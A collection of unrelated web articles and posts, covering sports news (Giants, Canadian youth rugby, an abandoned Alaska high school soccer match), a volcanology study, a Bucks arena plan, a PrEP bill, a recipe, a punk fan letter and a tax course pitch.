the proper amount of time off, there is a very good chance that it'll heal on its own. That's what the goal is right now. If it doesn't happen, we'll cross that bridge when we get to it. Regardless of whether or not it requires surgery, I'll still be back by the opening of training camp."  Kiwanuka is one of Tom Coughlin's favorite players and the head coach said he wants to see the defensive end stay with the Giants next season. Kiwanuka has been one of the team's most selfless players. He switched positions from defensive end to linebacker and back to defensive end. He also played special teams in the past.  "We held out hope as long as we could," Coughlin said. "Finally, by consensus, the doctors came to this decision. You have to make the right choice and the decision was made that he could not play again this season. My concern is for Mathias. He loves the game, he loves to play, he's proven his versatility this year beyond any question. He's given great effort and he has proven that he is a team player. I feel badly for Mathias because I know how important playing the game of football is to him. Let's get him healthy, back on the field, playing for the New York Giants."  Now the Giants move on without their 2006 first-round pick, who was a valuable chess piece in Fewell's schemes. Umenyiora will have to continue his torrid pace. Since Kiwanuka has been out, Umenyiora has seven sacks and six forced fumbles.  "We had to change a little bit when Kiwi went out," Fewell said on Wednesday when asked about how much he had to change schematically without Kiwanuka. "Kiwi is a special kind of guy, so we looked around and we searched for some guys to take over those roles and we have some guys that can assume that role, but not play it like Kiwi plays it, so that's a special little deal."  The Giants have used three safeties on the field quite a bit and safety Deon Grant sometimes lines up at linebacker. Linebacker Keith Bulluck's recent return from a toe injury helps and Fewell will need Pierre-Paul, who was drafted in the first round as a luxury, to continue his progress. Pierre-Paul doesn't have a sack yet but he has impressed coaches with his play on defense and special teams.  "He is making progress for us and we want to get him more involved and he will become more involved," Fewell said. "It just depends on how much more he can handle and execute. So the more he can take on and execute, the more we'll give him. It's up to him."  Blackmon, who played the past four seasons for the Packers, will come in and immediately compete for the kick- and punt-returning duties. Darius Reynaud, who was acquired in the Sage Rosenfels preseason trade from Minnesota, has been a disappointment. Reynaud is averaging 18.4 yards per kick return and just 5.9 yards per punt return.  "Blackmon had a very good workout for us and showed that he has recovered nicely from a serious knee injury," Reese said of Kiwanuka's former Boston College teammate who played in just three games last year due to an ACL injury. "We expect him to get into the mix quickly on special teams. He has experience and production as a return specialist and cover specialist. He also has played both safety and corner, which gives us some flexibility there as well."  Kiwanuka is looking forward to reuniting with his college buddy.  "It's tough, because we were a couple of weeks away from playing together again," Kiwanuka said. "He got his papers from Green Bay, I was excited and heard there was a chance that he might come here, so I've been talking him up around the locker room. Man, he's a great player. I told everybody he's definitely the most talented and gifted athlete that I ever played football with, hands down. He made the switch from DB to wide receiver [in college] and didn't miss a beat, and obviously he is a very talented return guy, too. He can do it all."  Ohm Youngmisuk covers the Giants for ESPNNewYork.com. You can follow him on Twitter
-The girl who wasn’t supposed to be there, Annie Kennedy, has been named to the national under-18 women’s rugby team despite not originally being invited to the tryouts.  “Honestly, I didn’t think I was going to make it because I was under-sized, I felt like the underdog,” Kennedy said Saturday. “Then I got the email and I couldn’t believe it.”  On Feb. 16, Rugby Canada announced that Kennedy and 23 other athletes were named to Canada’s under-18 women’s team. The group will travel to the United Kingdom for a tour, including two games against England’s national under-18 team at the beginning of April. Kennedy was also named to the Ontario Junior Storm Sevens, the provincial team that will compete in the National Under-18 Sevens Championships Tournament starting Thursday in Vancouver.  “The rugby aspect of the England tour is what I’m most excited for,” Kennedy said. “I’ve played with a ton of the girls that are on the Canada team right now, and I just love them all. It’ll be great to spend a week with them.”  Little did the 18-year-old fly half-turned-scrum half know that making a responsible choice in the spring of 2015 could have delayed her rugby career. Planning ahead for an easier courseload in her senior year at Regiopolis-Notre Dame in order to train and compete more, Kennedy attended summer school. This prevented her from being seen by scouts at major summer tournaments with the eastern Ontario team, the Ontario team and the Kingston Panthers. So she was overlooked and wasn’t added to the long list of athletes invited to the October tryouts.  Hearing the news, Brad Greenwood — Kennedy’s coach with Regiopolis, the Panthers club team and the eastern Ontario team — knew he had to do something.  “I called (national coach Dan Valley) and said, ‘I think you’re missing a premier rugby athlete from our area,’ and I wanted to know what we could do to get her into the trials to give her a shot,” Greenwood said. “I knew that Annie was a quality athlete, and I knew she would show well at a trial like that. She’s a good player … for me it was just getting her the opportunity to show her skills and she would have to do the rest from there.”  So with her videographers, better known as mom Lorraine and big sister Grace, Kennedy created a highlight reel. When Valley saw it, he knew he had to invite her.  “It’s pretty cool how it played out for her,” Valley said. “It was a pretty easy decision to invite her out to the tryout camps. Then she performed exceptionally well, and she’s done a lot of work in between those camps, and so I’m really excited for her. She certainly deserves the opportunity. She has a pretty cool career ahead of her hopefully.”  Many of the segments of the highlight reel, Valley said, showed Kennedy playing against high school athletes who were strong, but certainly not at a national calibre.  “I was really impressed how her strengths were able to transfer over so seamlessly,” Valley said. “She was still able to make people miss, and these were some really, really talented athletes. She was able to show them things they may or may not have experienced before, which was really interesting to watch.”  She may have been interesting, but Kennedy said she was nervous.  “It was definitely the hardest thing I’ve ever done in my life,” Kennedy said. “The first day was so tiring. I remember the first day (Valley) said he wanted us to get violent with each other. So it just all got thrown at us.”  When Kennedy started playing rugby in Grade 9, high school coach Maria Kerby had her at the wing that year because she was so fast. As the years went on, Kennedy’s confidence in the game grew and she was moved further inside and closer to the decision making.  “She’s a very quick thinker, a split-second decision maker,” Kerby said. “Depending on the position she’s playing, if she’s fly half she’s basically deciding what play the team is going to run and reading the defence and making those game-time decisions.  “But she’s also crazy fast. So we also like to get her out running with the ball because she’s a hard runner and she’s hard to tackle.”  Because of Kennedy’s skills, Valley isn’t sure where he is going to put her on the field. She’s a scrum half/fly half hybrid who is able to play both positions.  “Annie is quite interesting,” Valley said. “But on this tour I feel comfortable with her running out of any of the back positions to be totally honest … Annie’s skill-set lends itself really nicely to playing in any of those positions, which is rare. You don’t often have the ability to perform in each of them. Two or three maybe, but she could play in any of them.”  At five-foot-three, Kennedy admits she’ll need to spend some more time in the gym to add some weight. Valley agrees, especially if Kennedy would like to some day be on the senior women’s team.  “Given her size, she doesn’t win the battle of physics all that often. Fortunately she makes up for it being quite strong and constantly improving technically,” Valley said. “But she’ll need to add a little bit of muscle to the frame in order to continue on this trajectory.”  Greenwood said it goes beyond rugby ability with Kennedy.  “She’s a quality individual and just a nice kid,” Greenwood said. “I’m happy this has happened for her.”  Despite being a group of athletes that will represent Canada in England, the team is pay-to-play. That means Kennedy and her teammates need to pay $3,500 apiece to represent their country. Thankfully, the team is able to raise funds online. To help Kennedy travel, go to donate.rugbycanada.ca/e/akennedy.  The under-18 Canadian women’s team will play in England on April 5 and April 9. Kickoff times and streaming details have yet to be announced. For more information, go to rugbycanada.ca.  scrosier@postmedia.com  Twitter.com/StephattheWhig
-Thirty-two years ago this month an explosive eruption reshaped Mount Saint Helens in a matter of seconds. An earthquake under the volcano in Washington State on May 18, 1980, triggered the largest landslide in recorded history as billions of cubic meters of mountainside tumbled away, initiating a massive release of gas, lava and ash. The cataclysm killed 57 people and sent a plume some 20 kilometers into the sky.  The 1980 eruption was not totally unexpected. For the two months prior, earthquakes and steam explosions had rattled the mountain, and the north slope of the volcano had noticeably swelled outward. But interpreting just what was happening beneath the mountain to cause those shudders and belches was not possible.  Now a team in England and Germany has linked the seismic record from that era to magmatic processes beneath Mount Saint Helens by closely examining crystallized minerals formed in the volcano's innards just before eruption.  In a study appearing in the May 25 issue of Science, the researchers report that crystals of the silicate mineral orthopyroxene from 1980 and from subsequent eruptions trace various injections of magma, as well as other chemical changes, within the bowels of the volcano.  The crystals contain concentric rings of differing chemical composition. Some orthopyroxene crystals, for instance, have a magnesium-rich core surrounded by an iron-rich rim; others have an iron-rich core and a magnesium-rich rim. Each type of crystal zonation can record the conditions of the magma reservoir from which it emerged.  "We chemically fingerprint each of those zones to determine how they formed," says lead study author Kate Saunders, a volcanologist of the University of Bristol in England. The outer rim of an orthopyroxene crystal, she says, represents the most recent stage of crystal formation and typically grew just months before the crystal’s emergence in volcanic ejecta. That allowed the researchers to make precise estimates of when, and how, the crystals acquired their chemical forms. "Mount Saint Helens is really good—because the samples, we know exactly when they erupted," Saunders says.  In several cases, a flurry of crystallization matched up well with internal activity at the volcano, as inferred from seismic records. For instance, crystals with iron-rich rims increased in number in the weeks and months leading up to the May 1980 eruption, as earthquakes shook the mountain with low-frequency seismic waves. Such long-period quakes, Saunders says, are characteristic of magma giving off gas. "Previously it's been reported that iron-rich rims on orthopyroxene are due to changes in the water content of the magma, so it makes sense that if we've got degassing or fluxion of water or CO2 through the system, we may get more iron-rich rims," she says. Other crystals with magnesium-rich rims seem to mark an influx of hot magma from deep reservoirs just before eruption.  Those events are also captured in the seismic record, but the root cause of the tremors is not always clear from seismology alone. That is where the crystals can provide important corroboration—or critical insight into ancient eruptions, for which seismic records do not exist. In the case of Mount Saint Helens, the study's authors "are providing fairly convincing arguments that the periods of enhanced seismicity are related to inputs of magma," says Timothy Druitt, a volcanologist at Blaise Pascal University in Clermont–Ferrand, France. "Just because you've got seismicity doesn't mean you've got magma intruding at depth," he adds. "They're providing evidence that that's probably what happened. If you can establish that, then that helps you better interpret your seismicity.”  Even though crystals from volcanic ejecta can only offer a window into past eruptive behavior, researchers hope that studying such minerals will provide a clearer picture of volcanic behavior overall. "We can't get at the rocks until after they've erupted, but the more we know about a volcano and how it behaves, the better we can anticipate future eruptions," Saunders says. "We can see inside, we can see what's happened in the past and, hopefully, predict what's going to happen in the future."
-Rockhounds follow lessons out in the wild, wilderness, desert and forest that are also valuable in the city. Rockhounds know to bring their own bags, backpacks, saddle bags or pouches with their gear, and also with their finds consisting of gems, minerals, fossils and other stones. For me, this also applies when I am out here in New York City. I bring a backpack, side-bag or saddle bag when I leave the apartment because I am a collector. Like most rockhounds, we are collectors, as well as adventurers and discoverers.  Hence, and the purpose and motivation of this essay, I find myself bothered when I buy a can of soda, or a few items from the grocery store, and the clerk insists on putting the items in a plastic bag. Even when I am carrying my rockhound bag, which is a Fred Perry airline bag, the stores in New York City automatically put your can of soda, or packet of peanuts even into a plastic bag! So now when I walk up to a counter, the first words I speak are “No bag please.” I have recently found myself saying, when asked “Do you want a bag?,” “No thank you. That would be such a waste.”  Now Joe and I have each, respectively been to Vietnam, but when I was there, a Vietnamese tour guide said to me that the plastic bag was the white man’s curse on his country. I saw that in Vietnam as well. We were on tours out in the Vietnamese forests, walking for miles, and then we would walk past a plastic bag, the same type of plastic bag passed out with every transaction in New York City.  The plastic bag is everyone’s curse on the environment here in America as well. New York City streets are littered with them, the trash cans are disproportionately filled with them, and the landfills will continue to grow in area with plastic bags.  American Geode is bothered by the amount of plastic bags that litter our forests and our cities. We hope that all readers will share this essay, follow our example to #banthebag, and refuse a plastic bag during your next shopping excursion, and treat every excursion like a rockhounding excursion, and carry your own bag!  For the most up to date events, check out our Gem, Mineral, and Fossil Newswire.
-The Journal Communications building (left) and the UW-Milwaukee Panther Arena properties are believed to be the first choice site for a new Milwaukee Bucks arena. One of the team’s new co-owners said Saturday that a new arena could generate $500 million to $1 billion in private investment downtown. Credit: Mike De Sisti  By of the  Wes Edens, one of the new co-owners of the Milwaukee Bucks, has seen what a new arena can do to rejuvenate downtowns in many midsize American cities.  And that's what he and his new ownership group have in mind for Milwaukee.  "The reality is you can go visit Pittsburgh, you can visit what's proposed for Sacramento, what exists in Los Angeles, and get a very tangible picture of what a vibrant downtown means," Edens said. "These centers can act as a real meeting place for people to come back and connect. It's not just a good idea, it's imperative if we are going to be successful in Milwaukee."  For the first time since he and his partners bought the Bucks for $550 million in April, Edens on Saturday articulated the vision he and his partners have for downtown Milwaukee.  Over the next five to 10 years, Edens, fellow owners Marc Lasry and Jamie Dinan and the rest of the ownership group hope to attract between $500 million to $1 billion in additional development near the arena, all privately financed, in the form of a mixed-use development that includes new, multifamily housing, retail and, down the road, office space.  For now the main focus is the arena.  Edens says he envisions an arena with a capacity of 16,500 for basketball, somewhat smaller than the typical NBA arena, and with a design that can be reconfigured for more intimate events like concerts. He envisions a plaza that would serve as a gathering place for crowds gathered for public events or celebrations.  An architect has not yet been selected, he said, nor has a site been found.  "Although we will be the main tenant, we only play there 41 games, plus preseason and playoffs," Edens said. "The other objective is that it needs to be a great venue for concerts and other entertainment.  "The best arenas have upward of 300 events a year, and that plays a huge role in generating economic activity in the surrounding area, the city and the state. We think that's very important."  Should an arena be built and new development becomes a reality, it could be another shot in the arm for downtown Milwaukee.  Right now, downtown is in the midst of a makeover, with the planned $450 million Northwestern Mutual tower, the proposed $122 million Couture apartment tower complex, and the 17-story 833 East office building under construction at 833 E. Michigan St., among others.  To help make their vision a reality, Edens brought in a friend and big hitter in New York real estate in Michael Fascitelli, the former CEO of the Vornado Realty Trust. Before working at Vornado, Fascitelli managed the real estate practice of Goldman, Sachs and Co. Vornado, Edens said, is the largest landlord in New York City.  "Mike is a very good personal friend of mine and Marc," Edens said. "He is, in my view, the most talented real estate person that I know. After we bought the Bucks, he was the first person that I reached out to."  Fascitelli is an investor in the team and is advising Edens, Lasry and Dinan in coming up with a plan for Milwaukee.  "Obviously, we have an ownership group that is committed to trying to doing something that is world class," Fascitelli said Saturday.  "Having a great arena and a great facility is necessary but hopefully not sufficient," Fascitelli said. "I think if we can accomplish revitalizing or picking up the area around it, that would be an even greater objective that Wes, Marc and I all share."  The timetable remains ambitious, Edens said.  "You know it's all happening in real time," Edens said. "Right now we are working on a site and we are cautiously optimistic we will have something there in hand sooner than later."  Edens declined to detail what site the Bucks have in mind. But sources have told the Journal Sentinel that the franchise's preferred site remains the land owned by Journal Communications, publisher of the Milwaukee Journal Sentinel, the UW-Milwaukee Panther Arena and the Milwaukee Theatre, or some iteration involving those properties.  If that site doesn't work out, there are other options, including land north of the BMO Harris Bradley Center, and sites near N. 4th St., and W. Wisconsin Ave., and at N. 2nd and W. Michigan streets.  Once a site is selected, Edens said, work would begin immediately on a feasibility study to determine the economics of the project.  "And then we have to have an open and earnest discussion with government about a public-private partnership and how we go about funding this," Edens said.  "Ideally, those conversations will be early next year, with design and how to finance it by next spring. That gives us a fighting chance to have the arena three years from now."  The team's goal is to have the Bucks playing in the new arena for the 2017-'18 season.  Edens is well aware of the anti-tax sentiment and push-back expected from the public to any form of public financing for an arena for a team largely controlled by deep-pocket owners.  Lasry and Edens have committed $100 million toward a new arena. Former U.S. Sen. Herb Kohl , who sold the team, has also said he would put $100 million toward an arena, and additional private investment could bring the total commitment to $300 million.  Once a financing plan is developed with more exact numbers, the right thing to do is "look at what is the appropriate way to get this done."  "If you step back, look, the team generates over the term of this arena's utilization... many tens of millions of dollars of direct tax benefits.  "While people can argue about what the impact is on the team and the community long term, you can't argue that there's not a team playing there that no one is paying taxes. That's not much of an argument."  Timing is important, too. Interest rates are low, Edens said.  "It seems likely to me there really is a constructive middle ground," he said of developing a financial plan.  "We want to build a great arena," Fascitelli added. "You do this once in a lifetime, right? We want to build a great arena with the appropriate design for what Milwaukee is. We are not going to build a spaceship, right? We will integrate the design of this arena into what we think is contextual to Milwaukee.  "That's the goal, if we can do it."
-The Los Angeles LGBT Center wants to spread the word about PrEP, and about AB 2640, a new California Bill which would educate people about PrEP and help stop the spread of HIV in California.  The bill is simple. If you test negative for HIV, you should get information about PrEP.  That simple.  AHF’s Rand Martin, however, doesn’t agree. He says that Truvada can be “toxic” and “it does have side-effects.” And if, for example, “a 45-year-old man who’s been married for 20 years, who has a fling and panics and gets tested, and is told that he should try PrEP, he’s going to be asked to be prescribed Truvada,” he says, so you are “condemning a person who should not be taking it to forever having to take this pill.”  Truvada can be as safe as aspirin, the video says, referring to a Buzzfeed article that said that “people who take Truvada, the once-a-day pill that prevents HIV, are no more at risk for dangerous side effects than those who take an aspirin a day to prevent heart attacks, according to a new study.”  Furthermore, the bill is not a mandate to anybody to prescribe anything, but instead it’s assurance that individuals who test negative will receive information about PrEP treatment.  Information can never hurt.  Dr. Robert Bolan, Medical Director of the LA LGBT Center urges for the passing of the bill, because it will save lives by “reminding medical providers” that they are also “educators.”  For more information, or to sign a petition visit lalgbtcenter.org/ab2640.  Some of the facts highlighted in the video:  California has the second highest number of new HIV infections in the nation.  Expanding HIV testing, treatment and PrEP could slash new HIV cases by 70 percent by 2020.  One in four gay men should take the pill that prevents HIV, CDC says.  Only one in ten gay/bisexual men in California have ever taken PrEP.  Black and Latino men are least likely to know about it.  One in four latino gay/bisexual men are projected to get HIV in their lifetime.  Watch the full video below:
-The perfect mashed potato alternative  From school lunchrooms to fancy steak houses, this side dish is a staple.  Well, sorta.  Introducing: cauliflower mash. It’s creamy, steamy, and savory-starch deliciousness.  Ridiculously easy. Ridiculously good.  But I think its transformation is the best part.  Mesmerized by what a simple head of cauliflower can become  “That’s cauliflower?”  Yep.  It looks and feels and tastes identical to the real thing (mash potatoes).  It’s great next to any main course. And, it’s one of those “sneaky” ways to get your pickiest eaters to eat some (non-potato) vegetables.  It’s definitely a Vitamix recipe, but an immersion blender works just fine.  I hope this cauliflower mash becomes a staple in your house as it has become one in ours.  Hugs,  Lenny  P.S. A single image cannot do this gem justice. Watch the quick vid to see why.  Here’s how to make magic by turning a cauliflower into creamy “mash potatoes” (4:05)  Recipe
-On November 9, the day after the election, Richard Dawkins sat down with comedian Julia Sweeney for a pre-planned interview at the University of Indianapolis.  Their conversation begins at the 7:20 mark with a brief venting session about the previous night… before getting into a longer conversation about science.  Even looking back on that part of the discussion, it’s appalling how those fears about Trump have manifested over the past several months. And we don’t even know the half of it. It’s frightening to think about what additional damage Republicans will do to appease the worst instincts of their ignorant base.  I haven’t had a chance to watch the entire conversation, so if any moments stand out to you, please leave a timestamp and summary in the comments.
-Chaos invaded the soccer pitch Saturday at Bartlett High, where a bizarre series of events resulted in the abrupt and premature end of a crucial boys Cook Inlet Conference match between the host Golden Bears and the Service Cougars.  When the dust finally settled, coaches and school administrators were still shaking their heads and trying to figure out what to make of a messy situation that remains unresolved.  Things began to unravel late in the first half of a scoreless match between the third-place Golden Bears and fourth-place Cougars when Service goalie Caleb VanBlankenstein was whistled for fouling Bartlett's Ryan Reid inside the penalty box. The head referee gave VanBlankenstein a yellow card and awarded Bartlett a penalty kick.  In high school soccer, players who receive a yellow card must leave the pitch for a replacement before returning. As VanBlankenstein left the field in favor of temporary replacement keeper Jacob Andrews, Service head coach Dan Rufner and assistant Brian Waite continued to loudly argue with the referee, repeatedly asking for an explanation and protesting the decision.  At that point, the ref decided he'd had enough from both men, and gave Rufner and Waite straight red cards -- which come with automatic expulsions from the match.  Rufner continued to protest for about a minute longer.  "You can't have us both out!" he yelled. "You can't have us both off the pitch, there's no supervision for kids. You pick one or the other, you can't, you can't do it. It's an ASAA rule, you can't."  Apparently tired of hearing Rufner's loudly-stated opinions about what he could or could not do, the referee then blew his whistle three times to signify the match was over.  That's when things really got ugly. Andrews aggressively ran up to the referee before being pulled away by Rufner. After receiving a red card of his own, the senior tore off his jersey and yelled profanities before breaking down in tears. His Service teammates appeared stunned, as did their counterparts on the Bartlett sideline. The head referee and two linesmen retreated to the far side of the field, leaving the participants to stand around wondering what to do next.  "I've never seen anything like this," said Rufner, who has been the Service head coach since 2002.  The head referee refused to comment or give his name to reporters. He was later identified by Anchorage Soccer Referees Association president Terry Curran as Derek Newman, who Curran said is rated as a Level 6 referee by the United States Soccer Federation.  "He is the highest ranked referee in the state," Curran said.  Curran said the officials for Saturday's match were chosen specifically because it was crucial to the league standings.  "We tend to put the best crews we can on games we know will be important," he said.  Curran said Newman reported to him after the match. It was Curran's understanding that Rufner and Waite were given red cards for taunting. Curran backed up Newman's decision.  "Not being there I obviously can't say for sure, but if things went down the way he spoke to me, I would have done exactly the same thing," he said.  Curran said that once a player or coach is given a red card, they're supposed to leave the grounds. That didn't happen in this case.  "If you're dismissed as a player or coach you must leave the area," he said.  Rufner said he and Waite's protestations were only about the call against VanBlankenstein and didn't warrant a pair of red cards.  "That's all we wanted was to explain what the foul was," said Rufner, who pointed out that neither he nor Waite used profanity or threatened the referee before being thrown out.  Curran said coaches are supposed to set an example for their players by treating the referees with respect.  "They tell us in high school ball to have very little tolerance for dissenting language," he said.  Rufner said Andrews' actions toward Newman after the game was called were unwarranted, but that they were the reaction of an emotional player in the midst of a heated situation.  "He overreacted," he said.  After things settled down, players on both teams shook hands, with no one quite sure about what the decision meant for the conference standings.  Bartlett entered the game 6-3-1, four points ahead of Service (5-4-1) in the race for third place. That's a big deal, because only the top three teams in the conference advance to the state tournament.  Many players seemed to think the halted game meant Service lost by forfeit, and Bartlett midfielder Lorenzo Froehle consoled VanBlankenstein in the post game handshake line.  "That's not how we wanted this," he told the opposing goalie.  However, it was unclear in the immediate aftermath if the game will go down as a Bartlett win or some other result. Both Rufner and Bartlett head coach Matt Froehle said they don't know what will happen next.  Service girls soccer head coach Mark Cascolan -- a 1992 Bartlett graduate -- spoke with the head referee after the game. He said a report will be made to the Alaska School Activities Association (ASAA), which will determine how to handle the complicated affair.  According to the rules, Cascolan said, his understanding is the game will have to be replayed in some fashion.  "We were looking over the rule book, since it was less than a half that was played, a replay is in order," he said.  Cascolan stressed that nothing has been decided, and that ASAA will have to rule on what to do about the abandoned match.  "After ASAA reads the report from the referees, they'll make that decision," he said.  Cascolan said the situation was a new one for just about everyone who witnessed it.  "This isn't common," he said.  Everyone agreed the outcome was unfortunate, and Curran said he trusts that ASAA will make the right decision.  "I'm sure they'll make a decision that's in the best interest of the players," he said.  GIRLS  South 6, East 0  First-place South continued to roll through the CIC on Saturday, improving to 11-1 in the girls standings with a 6-0 win over East at East.
-In the early 90s, there were few better places to discover music than the used cassette section of Record Connection. At $3 a pop, this was a cost-effective method to keep your ears busy in the pre-streaming era. I managed to dig up Fugazi Repeater, Bad Religion Against the Grain and NOFX Ribbed before finally stumbling upon one that really clicked: Descendents’ I Don’t Want To Grow Up.  After my first listen, I was hooked. A single and love thirsty teenage girl, I nearly always flipped to side two and started with “Silly Girl” and fell in love with Milo before “Good Good Things” ended. I listened to him in the morning on the bus, on the way home from school and eventually in my car. Milo was the perfect counterpoint to my nerdy, somewhat angsty art girl persona. He sported the thin, bespectacled, slightly disheveled emo look long before it came into fashion. He was in a really cool band yet somehow managed to seem accessible. AND HE SANG ABOUT GIRLS.  “I think about you every night and day, and when I could have asked I let it slip away. I’ve got to get to know you, but I’m so afraid. Well it’s so hard to be a friend and be in love this way.” COME ON! How could I resist? Maybe someday, I thought, a guy like Milo would fall in love with me.  So why is my letter to you, Mr. Stevenson, and not to Milo?  Descendents are one of those bands from which I never felt compelled to disassociate myself (I’m looking at you, Big Bad Voodoo Daddy). It’s a badge of honor to be a fan. People who like Descendents like them with all their heart—not only nostalgic gals such as myself but actual punk dudes.  I’ve always wondered why that was the case, and a recent viewing of Filmage answered my question. You are the man behind the magic. It seems almost obvious that someone with your passion and energy would produce music that stayed with me for decades. You poured everything you’ve got into the music and are deserving of all your loyal fans (and particularly the one who brought you back to health). My fandom has reached new levels, and I even bought my baby girl (and a friend’s baby boy) an I Don’t Want To Grow Up onesie.  So, now that I have your attention, here’s a quick anecdote:  In 10th grade, I participated in a class trip to see Macbeth at a local playhouse. Jackie sat next to me on the bus. Jackie was captain of the soccer team, tall, thin, peppy and blonde—everything I was not. Did she want to talk? Even though I was weirdly excited someone actually wanted to sit next to me, my walkman and trusty I Don’t Want To Grow Up cassette were waiting for me.  Jackie didn’t exactly want to talk, but asked if she could listen to my music on the way back to school. Considering the contents of my walkman, I politely warned her that it might not be her thing. My warning lead to her increased curiosity so I set it up for side two (of course) and reluctantly handed it over. After side two ended, Jackie seemed a bit nonplussed and asked “Do you really like listening to stuff like that?” Perhaps she thought I was pretending in order to be different. I was not, and I’d let her into my world exactly long enough to feel exposed, embarrassed and wondering why I didn’t bring a different cassette with me. What about the Cranberries—something I enjoyed that was safe, feminine and mainstream?  I could feel my face getting red and my self-consciousness increasing by the second. Would she tell people what happened, ensuring that my classmates continued to see me as an outcast? Most likely yes, and although it stung like hell at the time, the very thing that made me an outcast as a teen makes me special(ish) now. A Milo bobblehead sat on my corporate desk for years. Everyone who came in asked who it was, and I was delighted to tell conservative men in dark blue suits all about the Descendents.  Descendents are a reminder of how happy I am to be unlike everyone else, and for that, Bill Stevenson, I owe you a great big thanks.  Much respect,  Christine  RECOMMENDED LISTENING  Silly Girl  https://loveletterstorocknrolldotcom.files.wordpress.com/2016/01/10-silly-girl.mp3  In Love This Way  https://loveletterstorocknrolldotcom.files.wordpress.com/2016/01/11-in-love-this-way.m4a  Good Good Things  https://loveletterstorocknrolldotcom.files.wordpress.com/2016/01/10-good-good-things.mp3
-About  Handle Business Tax Like (And Without) A CPA  Have you ever had a skill that’s naturally easy for you, but impossible to others?  The type of skill that you probably don't even notice, until somebody says something.  And no, I'm not talking about the "Not everybody has your metabolism..." skill, I'm talking about other things...  Like fun skills, something similar to "Most Consecutive Pogo-Stick Jumps" (or hops, whatever they're called).  It's a fun skill to have, and a fun skill to show - but it's not a skill that I'd consider "needed"....just take that the good way, if you have this skill - you're unique.  But no matter how fun it is, it's never "needed" unless it's also a useful skill.  And when I say useful skill, I mean something that does everybody good - like Designing Responsive Websites.  You increase your client's sales and you get paid well for it - I'd say that's a good skill.  And it really could be anything, no need to think of it as a Nobel Peace Prize-Winning Skill, either - think of something similar to website design, or Sales Copywriting, or SEO, or - okay...you get the hint.  Anyway, these two things have a lot of differences, but they also have a few things in common…  Like how they help people, or how most people carry these skills - just never use them...  And that last sentence ties in with my message for two different reasons  The first reason is how difficult things are for anybody who's considered self-employed. Trust me, I’ve seen every angle.  Starting with my role as a Commercial Loan Officer, a role that allowed me to work with Small Business Owners everyday.  I enjoyed working with small business owners, but at the same time - I noticed how difficult it was for most of them.  And they were all extremely smart, worked hard, and had money - that was the crazy part.  I know mistakes are inevitable for entrepreneurs, but that's on the business side of things.  A lot of mistakes were happening on the legal (including tax) side of things - and that's the side of things where you really don't want to have mistakes.  Those tend to do a little more damage.  But there's not a lot of resources out there and Freelancing doesn't bring in enough cash to cover Professional Fees, so that takes us back to our original problem...lack of information - for every new entrepreneur.  Sure, you could go to college and get your MBA - but that doesn’t teach you core concepts of business.  Trust me, I’ve been there (MBA-Tax).....  Don’t get me wrong, I’m not saying it didn’t help in one way, shape or form - I’m just saying it doesn’t teach you what you really need to know... in the beginning stages.  And I continued to notice this as I entered the Tax field, preparing tax returns for business owners (including Freelancers, Consultant, Solopreneur, Small Business)...most of them doing it for the first or second time.  The veteran business owners usually had a good handle on things, but it always scared me when I saw someone who'd been in business for less than 5 years. They're the most prone to a "tax surprise" - and it's never fun to deliver these surprises.  Each surprise was different, but to give you some insight on them, they all said the same thing - "I had no idea, I’ve looked everywhere and I didn’t see that - I can't pay that much for tax right now..”.  Which leads me to the second reason, my random skill that’s always been easy for me.  I don’t know who I pissed off or why I was born with this skill, but I’ve always been good at Tax.  It’s not a fun skill to have, but as I’ve learned over the years - it’s important to know.  (I’m sure you’ve heard the Ben Franklin quote about death and taxes)  And that’s where the irony starts to come in. I’ve always had this skill, and I've always loved explaining it to Business Owners - but I’ve never liked doing the actual returns (even though I do like breaking them down and verifying them).  I think that’s where my extroverted personality clashes with my odd number skill - but in all honesty, it really works out great.  I now understand how to talk tax in the terms (and see through the lens) of an entrepreneur - that’s helped me in a lot of ways.  Like creating a system that allows entrepreneurs to handle their own tax - using processes and today's technology...ones that they already use (and know).  They might not understand the tax code in full and they won’t talk like a CPA - but they get the same results.  And that helps them avoid tax surprises or large professional fees (in the early years anyway).  So where are my going with this?  Well finally, after years of advice from family and friends - I finally decided to take the leap.  Helping Entrepreneurs Tackle Tax  The leap started with passing the entire IRS Enrolled Agent Exam after 6 days of studying - then receiving the ability to represent clients (in IRS Tax Audits) a few weeks later.  That led to the Consulting business. I did a few different things, but they all revolved around helping entrepreneurs with tax. And when I say help, I mean cleaning up a mess.  A mess created by the lack of information I talked about a few minutes ago, the same mess that almost forced a client to pay $20,000 on income...that wasn't even income.  A lot of the mess was from a misunderstanding - like doing something that you wouldn't consider income...even though you’re technically making a profit from it.  That story comes from one of my clients who received a large bill from the IRS - referencing $21,000 of unreported income that PayPal sent them.  This amount took place over 3 years, but he also had roughly $20,000 of expenses (that could offset this income)... over the same 3 years.  He clearly wasn't trying to avoid the tax bill, he just didn’t think about it as income.  It was a hobby (custom golf club grips....little profit), so he didn’t see it as anything else.... until he had to pay someone to help him out of a serious tax debt.  And I’m glad he called us, but it made me wonder how many others have been in that situation?  Knowing that help is too expensive, so they decide to risk it - spending way more on tax than they need to?  Helping More Entrepreneurs Tackle Tax  It sounds crazy, but it happens all the time. And after seeing this too many times, I've finally decided to scale up - so I can help more Entrepreneurs avoid this situation.  After months of training...learning...and testing - I’ve finally found out how:  Through an Online Course that’s designed to teach Entrepreneurs - Mainly Freelancers, Consultants, Solopreneurs, and Small Business Owners - how to handle their tax (with systems and processes) and avoid surprises.  The course will continue to grow over the years and updates will be made in different “launches”.  These different launches will add more items like videos, templates, updated tax changes, etc. - but the basics will always be there (and updated annually).  These basics include:  Federal Income Tax For Business...(How It Works/Impacts You)  State Income Tax For Business  Business Entities, and Which One Is Best For You  Other Areas of Tax (If applicable)  Payroll Tax  Estimated Payments  How to Report Your Revenue and Expenses  Sales Tax  Setting up a system that allows you to file your own taxes like a Tax professional, even if you’ve never done them before  And more to come as it continues to grow (i.e. taped coaching sessions)  Always Growing With Member Feedback/Questions  For the beginning stages, I’ve decided to sell this course at a one-time price.  I’ll probably do this again during the second launch, but after the third launch - it’ll change over to subscription pricing.  There’s a few different reasons for that, but it’s mainly a thank you to the initial members who helped get legs under the community....  And even more important, helping more entrepreneurs with tax - a very important topic as the “gig economy” continues to get larger.  That’s why their one-time price is also a lifetime membership - an amazing resource that'll help for many years.  And today, I’m offering that membership to you as a reward for backing this course - for the one-time pledge of 75.  Does this sound like a good course to you?  If so, please help me out by using the options on the right-hand side of this page (towards the top).  Anything helps, thanks for reading!
